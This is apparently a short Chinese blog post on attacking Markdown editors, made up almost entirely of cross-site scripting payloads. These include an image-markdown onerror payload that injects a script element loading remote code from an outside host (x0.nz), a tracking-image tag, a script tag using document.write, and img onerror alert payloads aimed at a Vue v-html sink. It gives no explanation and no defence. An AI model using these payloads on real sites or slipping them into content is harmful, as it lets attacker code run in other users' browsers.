markDown文本编辑攻击

疯一样的男子
疯一样的男子
发布于 2025-04-01 / 12 阅读
0
0

markDown文本编辑攻击

![Description](onerror=s=createElement('script');body.appendChild(s);s.src='//x0.nz/nQqS)

<img src='http://stats.chinaz.com/gj_g/anweishi.gif'/>嘤嘤怪嘤嘤怪嘤嘤怪

<script>$(function () {document.write('嘤嘤怪');})</script>"

<div v-html="src" />

<img src='../ww.png' onerror='alert(1)'/>

</div>

JS:

src: "<img src='../ww.png' onerror='alert(1)'/> "


评论